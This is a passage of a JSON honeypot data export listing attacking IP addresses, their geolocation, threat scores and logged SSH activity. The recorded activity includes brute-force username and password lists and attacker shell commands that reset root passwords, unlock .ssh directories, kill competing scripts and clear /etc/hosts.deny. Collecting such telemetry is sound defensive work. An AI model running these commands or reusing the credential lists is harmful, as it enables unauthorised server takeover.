      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 333,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:29:29.077000+00:00",
        "last_seen_30d": "2026-04-18T22:37:33.775000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 71
      }
    },
    "91.99.110.230": {
      "attack_count": 262,
      "first_seen": "2026-04-19T15:50:17.785Z",
      "last_seen": "2026-04-19T16:25:06.202Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "server",
        "abdo",
        "ociistst",
        "odoo",
        "postgres",
        "root1",
        "teamspeak",
        "test",
        "user",
        "user1",
        "user10",
        "vlad"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "123654",
        "1Q2W3e4r",
        "999999",
        "A1234567890",
        "Admin123456",
        "P@ssw0rd",
        "Password123$",
        "QWE",
        "Server17",
        "Sj123456",
        "Teamspeak9",
        "Welcome2025",
        "abdo",
        "ociistst",
        "odoo06!",
        "p@SSW0RD"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server17\\nhmE3gmBWchWW\\nhmE3gmBWchWW\\n\"|passwd",
        "echo \"root:O9lu6Wt9RqAY\"|chpasswd|bash",
        "echo -e \"Server17\\nhmE3gmBWchWW\\nhmE3gmBWchWW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:50:17.785000+00:00",
        "last_seen_30d": "2026-04-19T16:26:09.325000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "20.255.56.84": {
      "attack_count": 247,
      "first_seen": "2026-04-12T00:08:31.460Z",
      "last_seen": "2026-04-12T00:54:51.088Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testftp",
        "admin",
        "deploy",
        "dev1",
        "elasticuser",
        "ftpuser",
        "gitlab-runner",
        "manager",
        "odoo",
        "postgres",
        "steam",
        "test",
        "testuser1",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "1q2w3e4r5t6y",
        "5tgb!!",
        "Odoo11!",
        "QWE123456789",
        "Steam10",
        "ZAQ!2wsx2020!",
        "dev1",
        "elasticuser",
        "ftpuser20!",
        "gx123456",
        "mkonji",
        "postres",
        "qqQQ111",
        "qwe123",
        "qwe147258",
        "qwerty",
        "root2018#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:FEwqunIZAOBb\"|chpasswd|bash",
        "echo \"testftp1\\nPJQdtXtURdwY\\nPJQdtXtURdwY\\n\"|passwd",
        "echo -e \"testftp1\\nPJQdtXtURdwY\\nPJQdtXtURdwY\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:08:31.460000+00:00",
        "last_seen_30d": "2026-04-12T00:55:57.512000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 60
      }
    },
    "171.231.186.6": {
      "attack_count": 241,
      "first_seen": "2026-04-22T01:11:27.801Z",
      "last_seen": "2026-04-22T01:33:56.995Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "1234",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cisco",
        "george",
        "guest",
        "guest1",
        "helpdesk",
        "installer",
        "joro",
        "kelly",
        "kim",
        "library",
        "newadmin",
        "open"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "123456",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin123",
        "admin@123",
        "alpine",
        "andrew",
        "bin",
        "calvin",
        "cisco123",
        "george",
        "guest",
        "guest1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T01:11:27.801000+00:00",
        "last_seen_30d": "2026-04-22T01:44:48.972000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 102
      }
    },
    "46.37.66.191": {
      "attack_count": 236,
      "first_seen": "2026-04-27T11:23:19.365Z",
      "last_seen": "2026-04-27T11:48:00.322Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftproot",
        "root2",
        "tomcat"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123QWEasd123",
        "1QAZ.2WSX",
        "1qazxsw@cde#",
        "321oracle123",
        "Ch1r1m0y4",
        "Rhosts:authentication:refused:for:%.100s::bad:ownership:or:modes:for:home:directory.",
        "Support@123",
        "Xh2024!@",
        "admin_2026",
        "administrator:",
        "apoulain@123",
        "jassonsoft-mas08",
        "mandragora",
        "nethub",
        "qaz1111",
        "qaz2026",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:mOkhJd4xo4A3\"|chpasswd|bash",
        "echo \"root:pWQOqBKYkKGq\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 34977,
      "as_org": "Procono S.A.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:23:19.365000+00:00",
        "last_seen_30d": "2026-04-27T11:49:08.738000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "150.95.157.171": {
      "attack_count": 204,
      "first_seen": "2026-04-25T11:33:09.286Z",
      "last_seen": "2026-04-25T12:11:37.740Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "test",
        "ubuntu",
        "345gs5662d34",
        "bot",
        "deploy",
        "huawei",
        "n8n",
        "nagios",
        "oracle",
        "postgres",
        "steam",
        "user",
        "wiki",
        "ya"
      ],
      "passwords_attempted": [
        "!1q2w3e4r",
        "11223344",
        "123",
        "123456",
        "123@123a",
        "2glehe5t24th1issZs",
        "3245gs5662d34",
        "345gs5662d34",
        "AaBbCc123",
        "Aaa123123",
        "Frappe14!",
        "MoeClub.org",
        "N8n12!",
        "Nag1os",
        "P@ssword1234",
        "Qqq123456",
        "Server15",
        "Test!2026",
        "Test19!",
        "abc@1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"AaBbCc123\\nH5mN5fImDpbP\\nH5mN5fImDpbP\\n\"|passwd",
        "echo -e \"AaBbCc123\\nH5mN5fImDpbP\\nH5mN5fImDpbP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 7506,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T11:33:09.286000+00:00",
        "last_seen_30d": "2026-04-25T12:12:45.409000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 65
      }
    },
    "72.79.42.117": {
      "attack_count": 198,
      "first_seen": "2026-04-22T04:21:21.559Z",
      "last_seen": "2026-04-22T04:42:25.733Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "345gs5662d34",
        "admin1234",
        "dan",
        "frappe",
        "ftp-user",
        "minecraft",
        "n8n",
        "remoteuser",
        "superadmin",
        "test",
        "test1",
        "tester"
      ],
      "passwords_attempted": [
        "!QA@WS3ed",
        "1",
        "11",
        "1234",
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "9999",
        "ABA1234567",
        "BBaa000",
        "Frappe08!",
        "N8n03!",
        "Password!",
        "Root123123.",
        "Test23",
        "ZAQ!2wsx321@123",
        "admin*123",
        "admin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:SeJM6duC2jBS\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Short Hills",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T04:21:21.559000+00:00",
        "last_seen_30d": "2026-04-22T04:43:34.390000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 61
      }
    },
    "42.179.147.89": {
      "attack_count": 196,
      "first_seen": "2026-04-24T04:04:47.666Z",
      "last_seen": "2026-04-24T04:10:30.883Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T04:04:47.666000+00:00",
        "last_seen_30d": "2026-04-24T04:11:37.618000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 99
      }
    },
    "43.133.148.170": {
      "attack_count": 194,
      "first_seen": "2026-04-14T02:57:10.056Z",
      "last_seen": "2026-04-14T03:38:47.494Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "test",
        "345gs5662d34",
        "cent",
        "claude",
        "developers",
        "dmdba",
        "git",
        "hik",
        "it",
        "postgres",
        "tan",
        "teamspeak3",
        "user1"
      ],
      "passwords_attempted": [
        "0000",
        "1",
        "123456",
        "123456qaZ",
        "1qazxsw2#",
        "3245gs5662d34",
        "345gs5662d34",
        "Claude27",
        "Florinlaur2025",
        "Hik@2025",
        "Password123",
        "Qwert123456!",
        "Root!@#456",
        "Root2026$",
        "Root26",
        "ZAQ!2wsx$",
        "cent",
        "developers",
        "gittest",
        "manager"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"odoo8\\nE7TWyxlQKxdd\\nE7TWyxlQKxdd\\n\"|passwd",
        "echo -e \"odoo8\\nE7TWyxlQKxdd\\nE7TWyxlQKxdd\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T02:57:10.056000+00:00",
        "last_seen_30d": "2026-04-14T03:39:52.797000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 62
      }
    },
    "45.120.216.232": {
      "attack_count": 193,
      "first_seen": "2026-04-20T07:31:52.514Z",
      "last_seen": "2026-04-20T08:11:57.158Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ali",
        "anand",
        "claude",
        "es",
        "ftpuser",
        "k8s",
        "lighthouse",
        "lisong",
        "nisuser",
        "sammy",
        "scan",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "123456-qwer",
        "12345678",
        "1QAZ2wsx!!",
        "1qaz2wsx!",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456!",
        "Ali!2025",
        "Claude5",
        "Qazwsx123456",
        "Sammy05!",
        "Server2026",
        "admin@123456",
        "anand",
        "ccAA111",
        "lighthouse@123",
        "no",
        "qq521521"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NtvA4cYIqpiY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 134366,
      "as_org": "Cloud Computing HK Limited",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T07:31:52.514000+00:00",
        "last_seen_30d": "2026-04-20T08:12:58.344000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "203.145.143.163": {
      "attack_count": 168,
      "first_seen": "2026-04-02T10:43:37.014Z",
      "last_seen": "2026-04-02T12:06:29.093Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Ab102030",
        "Abroot",
        "Bcde@123456",
        "Corp@123",
        "December123",
        "Def@123",
        "P@ssword123!",
        "Qq03",
        "Qq12",
        "Qq@2023",
        "Uvw123",
        "abc123321",
        "mongo123",
        "password*123",
        "password1111",
        "root-1234",
        "root002",
        "root123321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0MDhSB1XqFhn\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:43:37.014000+00:00",
        "last_seen_30d": "2026-04-02T12:07:33.176000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "119.160.215.50": {
      "attack_count": 118,
      "first_seen": "2026-04-22T12:34:41.900Z",
      "last_seen": "2026-04-23T05:07:09.271Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 137047,
      "as_org": "TELECOMMUNICATION AND TECHNOLOGY MASTERS PVT. LIMITED",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.6,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T12:34:41.900000+00:00",
        "last_seen_30d": "2026-04-29T20:13:30.014000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 64
      }
    },
    "149.28.165.80": {
      "attack_count": 98,
      "first_seen": "2026-04-30T21:26:37.038Z",
      "last_seen": "2026-04-30T21:28:43.045Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:26:37.038000+00:00",
        "last_seen_30d": "2026-04-30T21:29:45.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 50
      }
    },
    "14.103.145.231": {
      "attack_count": 75,
      "first_seen": "2026-04-25T01:59:07.519Z",
      "last_seen": "2026-04-25T03:24:53.073Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "applmgr",
        "harry",
        "server",
        "steam",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "P@ssw0rd",
        "P@ssw0rd6",
        "Steam19!",
        "Yb123456",
        "harry",
        "qw",
        "root1234@@",
        "server7"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T01:59:07.519000+00:00",
        "last_seen_30d": "2026-04-25T03:33:02.570000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 47
      }
    },
    "14.103.115.80": {
      "attack_count": 74,
      "first_seen": "2026-04-06T18:51:27.599Z",
      "last_seen": "2026-04-06T19:48:41.241Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dmdba",
        "odoo",
        "postgres",
        "tan",
        "teamspeak3",
        "test"
      ],
      "passwords_attempted": [
        "1",
        "1qazxsw2#",
        "3245gs5662d34",
        "Password123",
        "Root!@#456",
        "ZAQ!2wsx$",
        "postgres05!",
        "root",
        "tan",
        "ts3user"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
